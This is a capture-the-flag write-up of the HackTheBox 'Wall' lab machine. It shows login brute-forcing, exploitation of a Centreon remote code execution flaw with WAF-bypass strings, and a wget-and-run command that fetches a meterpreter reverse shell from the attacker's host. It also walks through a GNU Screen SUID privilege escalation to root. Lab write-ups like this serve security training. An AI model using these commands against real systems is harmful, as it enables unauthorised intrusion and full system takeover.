HackTheBox - Wall
Wall is a Linux box created by Askar and it’s based on RCE discovered by him in Centreon network/system monitoring tool.
It’s rated as medium difficulty and was one the first active HTB boxes that I pwned by myself.
Enumeration
Starting off with nmap:
nmap -Pn -sV -sC -p- 10.10.10.157 -oA nmap/wall
We only have two open ports: 22
(OpenSSH 7.6p1) and 80
(Apache 2.4.29).
Navigating to the webpage on port 80 we get the default Apache2 installation page. Let’s do directory enumeration
with gobuster:
gobuster dir -u 10.10.10.157 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt
10.10.10.157/monitoring
authentication prompt
10.10.10.157/aa.php
displays only the number ‘1’
10.10.10.157/panel.php
displays the text ‘Just a test for php file !’
At this point I was pretty stumped. Firing Nikto
at the website we notice that the
allowed HTTP Methods are: GET
, POST
, OPTIONS
and HEAD
.
Sending a POST request to 10.10.10.157/monitoring/ we get an interesting page /centreon
.
At 10.10.10.157/centreon
we have a Centreon v.19.04.0
login page.
The default credentials for the Centreon Web UI are admin:centreon
, but these don’t work.
Using Hydra to brute-force the login we get the correct password: password1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-form-post “/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Unauthorized”
Reverse Shell
This version of Centreon is vulnerable to Remote Code Execution (CVE-2019-13024).
There’s a good blogpost made by the author of this machine Centreon v19.04 Remote Code Execution.
This exploit uses nagios_bin
parameter to execute arbitrary commands.
The blogpost explains the exploit in good detail and even gives us a Python script! But that would of course be too easy so the exploit doesn’t work for this machine without modifications.
I modified the Python script to print out all requests and responses and saw that send_payload
request gives us
a 403 Forbidden response. If we change the value of NAGIOS_BIN to nothing, the request goes through.
It seems that there’s a Web Application Firewall (WAF) blocking the request.
I tried multiple different WAF bypass techniques such as:
/???/??n/?ing 10.10.x.x
/u's'r/b'i'n/w'g'e't' 10.10.x.x:8000
But to no avail. I realized that if the nagios_bin-parameter contains a whitespace, WAF blocks it.
At this point I decided to start following the blog post mentioned earlier manually. For this we need to create a PHP/meterpreter reverse shell:
msfvenom -p php/meterpreter/reverse_tcp -f raw lhost=10.10.x.x lport=1339 > shell.txt
If you save the changes at http://10.10.10.157/centreon/main.php?p=60901&o=c&server_id=1 and then intercept the POST request with Burp, you can edit the nagios_bin value to include whitespaces:
wget http://10.10.14.2:8000/shell.txt -O /tmp/shelli.php;php -f /tmp/shelli.php #
This one-liner downloads the reverse meterpreter/PHP shell and executes it. Remember the #hashtag in the end to comment out the rest of the line.
(Open the image in new tab to make it bigger).
Now we have the arbitrary command as nagios_bin value wit all dem glorious whitespaces (IP censored).
After this set up a HTTP server and a Metasploit multi/handler:
python3 -m http.server
In Metasploit:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
To trigger the code we need to send the following POST request (replace the PHPSESSID cookie):
POST /centreon/include/configuration/configGenerate/xml/generateFiles.php HTTP/1.1
Host: 10.10.10.157
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/xml, text/xml, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.157/centreon/main.get.php?p=60901&o=c&server_id=1&poller=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Cookie: PHPSESSID=2pq8phulqrn4achohfj2b1rsbp
Connection: close
poller=1&debug=true&generate=true
We should now get a Meterpreter shell as user www-data
.
Remember to edit the nagios_bin at the web-panel to something else so you don’t spoil the machine for others!
Privilege Escalation
Let’s move to /tmp
and download LinEnum.sh script to enumerate the host.
LinEnum.sh results show us that screen-4.5.0 has a SUID-bit set.
For this Google gives us GNU Screen 4.5.0 - Local Privilege Escalation.
The exploit didn’t work right off the bat so I decided to do it manually. Chopping the exploit code to pieces:
libhax.c
rootshell.c
Compiling:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
Now download the files from the target machine /tmp folder:
wget 10.10.x.x:8000\libhax.so
wget 10.10.x.x:8000\rootshell
Next, manually walk through the exploit execution flow:
/bin/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
cd /etc
umask 000
/bin/screen-4.5.0 -ls
/tmp/rootshell
After running rootshell we should have now a root shell. We can now get the /home/shelby/user.txt and /root/root.txt since we jumped straight from user www-data to root.
DONE! :) Thank you for reading.